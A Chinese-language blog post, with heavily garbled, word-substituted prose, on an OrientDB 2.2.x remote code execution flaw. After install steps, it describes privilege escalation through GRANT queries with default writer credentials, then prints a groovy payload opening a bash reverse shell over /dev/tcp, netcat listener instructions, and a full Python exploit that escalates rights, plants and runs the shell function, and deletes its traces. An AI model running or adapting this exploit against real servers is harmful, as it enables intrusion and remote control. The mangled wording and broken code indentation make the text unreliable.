Oreint DB远程代码可执行破绽漏洞bug曝光

0×01 对付orient db数据库
OrientDB是一个开源NoSQL数据库管理平台。 NoSQL数据库供给了一种用于存储和检索援用除表式数据以外的数据（比方文档数据或图形数据）的NO干系或非干系数据的机制。 NoSQL数据库越来越多地用于大数据和及时Web应用程式。 NoSQL系统平台偶然也被称为“Not Only SQL”，以夸大它们能够支撑相似SQL的查问说话。

OrientDB也属于NoSQL系列。 OrientDB是第二代分布式数据库，具备机动性的文档在一个产物与Apache 2许可证的凋谢源代码。 在OrientDB以前市场上有几个NoSQL数据库，此中一个是MongoDB。
0×01 orient db 数据库的根基知识
步调1 – 下载OrientDB二进制设置文件
下载地点：http://orientdb.com/download社区版和企业版都能够在任何完成虚构机(JVM)的操纵系统平台上运转。 OrientDB必要1.7或更高版本的Java。
步调2 – 解压并装置OrientDB
如下是为分歧操纵系统平台提取和装置OrientDB的进程。在Linux中将orientdb-community-2.1.9.tar.gz文件解压，能够应用如下敕令提取tarred文件。
$ tar –zxvf orientdb-community-2.1.9.tar.gz
应用如下敕令将一切OrientDB库文件从orientdbcommunity-2.1.9挪动到/opt/orientdb/目次。 这里要用sudo
$ sudo mv orientdb-community-2.1.9 /opt/orientdb
应用如下敕令注册orientdb敕令和Orient办事器。
$ export ORIENTDB_HoME = /opt/orientdb$ export PATH = $PATH:$ORIENTDB_HOME/bin
在Windows中将orientdb-community-2.1.9.zip文件解压，将提掏出的文件夹挪动到C：\目次。应用如下给定值创立两个情况变量ORIENTDB_HOME和PATH变量。
ORIENT_HOME = C:orientdb-community-2.1.9
PATH = C:orientdb-community-2.1.9in
步调3 – 设置装备摆设OrientDB办事器作为办事
这里就说下linux的~OrientDB供给了一个名为orientdb.sh的剧本文件，以作为保卫程式运转数据库。在OrientDB装置目次的$ORIENTDB_HOME/bin/orientdb.sh的bin目次中能够找到它。在运转剧本文件以前，编纂orientdb.sh文件以界说两个变量。一个是ORIENTDB_DIR，它界说了装置目次/opt/orientdb的门路，第二个是ORIENTDB_USER，它界说了要运转OrientDB的用户名，如下所示。
ORIENTDB_DIR = "/opt/orientdb"
ORIENTDB_USER = ""
应用如下敕令将orientdb.sh文件复制到/etc/init.d/目次中以初始化和运转剧本。
$ sudo cp $ORIENTDB_HOME/bin/orientdb.sh /etc/init.d/orientdb
应用如下敕令将console.sh文件从OrientDB装置目次$ ORIENTDB_HOME / bin复制到系统平台bin目次（即/ usr / bin）以拜访Orient DB的控制台。
$ sudo cp $ ORIENTDB_HOME/bin/console.sh /usr/bin/orientdb
应用上面的敕令来启动ORIENTDB数据库办事器作为办事。在这里，你必需供给你在orientdb.sh文件说起启动办事器的响应用户的暗码。$ service orientdb start应用如下敕令晓得哪一个PID的OrientDB办事器保卫程式正在运转。$ service orientdb status应用如下敕令结束OrientDB办事器保卫程式。$ service orientdb stop
0×02 破绽bug阐发
1、OrientDB应用RBAC模子结束认证计划。默许情况下，OrientDB有3个脚色：admin, writer and reader。它们的功效与与用户称号所饰演的脚色雷同。对付在办事器上创立的每一个数据库，默许情况下会分派3个用户。
2、用户的权限分派如下：
admin : 拜访数据库上的一切功效，没有任何限定reader: 只读用户。读者能够查问数据库中的任何记载，但不能改动或删除它，也不能拜访外部信息，比方用户和脚色自己的信息。writer: 与reader雷同，但它也能够创立，更新和删除记载。
3、漏洞破绽bug发生道理
管理员经由过程ORole布局处置用户和他们脚色，OrientDB必要oRole读取权限，以容许用户表现用户权限，并使与oRole权限相联系关系的其余查问。
从版本2.2.x及以上版本，只需oRole被查问，fetchplan和order by语句，则不必要此权限请求，并将信息前往给非特权用户。
因为Orient db启用了这些功效 where、fetchplan、order by，招致了OrientDB具备一个能够履行惯例的功效，而且这个groovy封装器没有沙箱结束掩护招致了系统平台功效被拜访，招致咱们能够运任何敕令。
0×03 漏洞破绽bug复现进程
1、起首先肯定版本号，版本号的肯定可由前往头肯定

2、接着咱们拜访 http://Taarget:2480/listDatabases 获得数据库称号,他会前往为一个json列表

3、用writer的身份测验考试Http根基认证，看其能否对数据库可写。假如可写，那末则漏洞破绽bug存在。
检测三部门的权限能否能获得晋升：1）database.class.ouser
检测能否能够作为特权账户操纵数据库
2）database.function
能否启用功效操纵
3）database.function
能否有系统平台的拜访权限
验证办法如下：
payload:http://Target:2480/command/database_name/sql/-/20?format=rid,type,version,class,graph
以POST的办法哀求如下数据：
GRANT execute ON database.class.ouser TO writer
GRANT execute ON database.function TO writer
GRANT execute ON database.systemclusters TO writer
假如胜利履行则能够应用。
上面给出exp：
{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"' + func_name + '","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/' + reverse_ip + '/6666 0>&1\';File file = new File(\"hello.sh\");file.delete();file ,"parameters":null}
{C}在目标用bash反弹，当地你能够用nc监听，运转如下敕令：netcat -lp 6666

末了给出PoC:
#! /usr/bin/env python
#-- coding: utf-8 --
# OrientDB
import sys
import requests
import json
import string
import random
target = sys.argv[1]
try:
port = sys.argv[2] if sys.argv[2] else 2480
except:
port = 2480
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
def random_function_name(size=5, chars=string.asciilowercase + string.digits):
return ''.join(random.choice(chars) for in range(size))
def enum_databases(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
#print "[+] Database Enumeration successful"
database = req.json()['databases']
return database
return False
def check_version(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
headers = req.headers['server']
#print headers
if "2.2" in headers or "3." in headers:
return True
return False
def run_queries(permission,db,content=""):
databases = enum_databases(target)
url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
priv_enable = ["create","read","update","execute","delete"]
#query = "GRANT create ON database.class.ouser TO writer"
for priv in priv_enable:
if permission == "GRANT":
query = "GRANT %s ON %s TO writer"%(priv,db)
else:
query = "REVOKE %s ON %s FROM writer"%(priv,db)
req = requests.post(url,data=query,auth=('writer','writer'))
if req.status_code == 200:
pass
else:
if priv == "execute":
return True
return False
print "[+] %s"%(content)
return True
def priv_escalation(target,port="2480"):
print "[+] Checking OrientDB Database version is greater than 2.2"
if check_version(target,port):
priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
if priv1 and priv2 and priv3:
return True
return False
def exploit(target,port="2480"):
#query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file
func_name = random_function_name()
print func_name
databases = enum_databases(target)
reverse_ip = raw_input('Enter the ip to connect back: ')
query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file
#query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a file.delete() \u000a file
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file
req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
if req.status_code == 201:
#print req.status_code
#print req.json()
func_id = req.json()['@rid'].strip("#")
#print func_id
print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
#print req.status_code
#print req.text
if req.status_code == 200:
print "[+] Open netcat at port 8081.."
else:
print "[+] Exploitation failed at last step, try running the script again."
print req.status_code
print req.text
#print "[+] Deleting traces.."
req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
#print req.status_code
#print req.text
def main():
target = sys.argv[1]
#port = sys.argv[1] if sys.argv[1] else 2480
try:
port = sys.argv[2] if sys.argv[2] else 2480
#print port
except:
port = 2480
if priv_escalation(target,port):
exploit(target,port)
else:
print "[+] Target not vulnerable"
main()